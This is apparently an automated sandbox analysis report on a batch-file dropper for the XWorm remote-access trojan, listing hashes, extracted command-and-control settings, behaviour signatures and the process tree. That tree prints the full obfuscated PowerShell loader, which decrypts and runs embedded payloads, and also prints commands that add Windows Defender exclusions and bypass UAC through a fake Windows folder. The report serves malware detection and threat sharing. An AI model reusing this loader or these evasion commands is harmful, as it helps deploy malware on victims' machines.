Analysis
-
max time kernel
94s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
30-05-2024 13:25
Static task
static1
Behavioral task
behavioral1
Sample
myxwr5cli.bat
Resource
win7-20240221-en
General
-
Target
myxwr5cli.bat
-
Size
379KB
-
MD5
03c6c2175f84ad54c989f0608d3cbb57
-
SHA1
9846d7aa4c639d038f428977dfe0eef7db8ac009
-
SHA256
6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7
-
SHA512
45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8
-
SSDEEP
6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl
Malware Config
Extracted
xworm
5.0
127.0.0.1:7001
134.255.233.93:7001
5loUYH5mEGReJgAG
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4432-68-0x0000021EEBA10000-0x0000021EEBA20000-memory.dmp family_xworm -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 36 4432 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 2884 powershell.exe 2640 powershell.exe 1236 powershell.exe 4432 powershell.exe 4768 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
ComputerDefaults.exepid process 3888 ComputerDefaults.exe -
Loads dropped DLL 1 IoCs
Processes:
ComputerDefaults.exepid process 3888 ComputerDefaults.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 1236 powershell.exe 1236 powershell.exe 2884 powershell.exe 2884 powershell.exe 4432 powershell.exe 4432 powershell.exe 2640 powershell.exe 2640 powershell.exe 4768 powershell.exe 4768 powershell.exe 4432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1236 powershell.exe Token: SeDebugPrivilege 2884 powershell.exe Token: SeDebugPrivilege 4432 powershell.exe Token: SeDebugPrivilege 2640 powershell.exe Token: SeDebugPrivilege 4768 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 4432 powershell.exe -
Suspicious use of WriteProcessMemory 26 IoCs
Processes:
cmd.exepowershell.execmd.exeComputerDefaults.execmd.exepowershell.exedescription pid process target process PID 1444 wrote to memory of 1204 1444 cmd.exe cmd.exe PID 1444 wrote to memory of 1204 1444 cmd.exe cmd.exe PID 1444 wrote to memory of 840 1444 cmd.exe cmd.exe PID 1444 wrote to memory of 840 1444 cmd.exe cmd.exe PID 1444 wrote to memory of 1236 1444 cmd.exe powershell.exe PID 1444 wrote to memory of 1236 1444 cmd.exe powershell.exe PID 1236 wrote to memory of 2884 1236 powershell.exe powershell.exe PID 1236 wrote to memory of 2884 1236 powershell.exe powershell.exe PID 1236 wrote to memory of 2092 1236 powershell.exe cmd.exe PID 1236 wrote to memory of 2092 1236 powershell.exe cmd.exe PID 2092 wrote to memory of 3888 2092 cmd.exe ComputerDefaults.exe PID 2092 wrote to memory of 3888 2092 cmd.exe ComputerDefaults.exe PID 3888 wrote to memory of 4492 3888 ComputerDefaults.exe cmd.exe PID 3888 wrote to memory of 4492 3888 ComputerDefaults.exe cmd.exe PID 4492 wrote to memory of 3400 4492 cmd.exe cmd.exe PID 4492 wrote to memory of 3400 4492 cmd.exe cmd.exe PID 4492 wrote to memory of 3560 4492 cmd.exe cmd.exe PID 4492 wrote to memory of 3560 4492 cmd.exe cmd.exe PID 4492 wrote to memory of 4432 4492 cmd.exe powershell.exe PID 4492 wrote to memory of 4432 4492 cmd.exe powershell.exe PID 4432 wrote to memory of 2640 4432 powershell.exe powershell.exe PID 4432 wrote to memory of 2640 4432 powershell.exe powershell.exe PID 4432 wrote to memory of 4768 4432 powershell.exe powershell.exe PID 4432 wrote to memory of 4768 4432 powershell.exe powershell.exe PID 1236 wrote to memory of 1668 1236 powershell.exe cmd.exe PID 1236 wrote to memory of 1668 1236 powershell.exe cmd.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"2⤵PID:1204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵PID:840
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2884
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2092 -
C:\Windows \System32\ComputerDefaults.exe"C:\Windows \System32\ComputerDefaults.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Windows\SYSTEM32\cmd.execmd.exe /c call SC.cmd5⤵
- Suspicious use of WriteProcessMemory
PID:4492 -
C:\Windows\system32\cmd.execmd /c "set __=^&rem"6⤵PID:3400
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:3560
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4432 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4768
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q3⤵PID:1668
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
Filesize
944B
MD5e60eb305a7b2d9907488068b7065abd3
SHA11643dd7f915ac50c75bc01c53d68c5dafb9ce28d
SHA256ad07460e061642c0dd4e7dfa7b821aacce873e290389e72f708e9f3504f9d135
SHA51295c45afec6fa4e0b2a21edd10a6b2dc30568810c67bc9bc34d98ab111c48261f377a370583adb27e08616b0108026c119493b1b093b52ce931117e646b46cb7b
-
Filesize
379KB
MD503c6c2175f84ad54c989f0608d3cbb57
SHA19846d7aa4c639d038f428977dfe0eef7db8ac009
SHA2566d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7
SHA51245bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
80KB
MD5d25a9e160e3b74ef2242023726f15416
SHA127a9bb9d7628d442f9b5cf47711c906e3315755b
SHA2567b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c
SHA512bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910
-
Filesize
122KB
MD5e286ada1af4b08fa4b7c78f862883c4e
SHA1798ebc7b7cd3db667f1a59ade299be4cff397f39
SHA25616eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3
SHA512fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5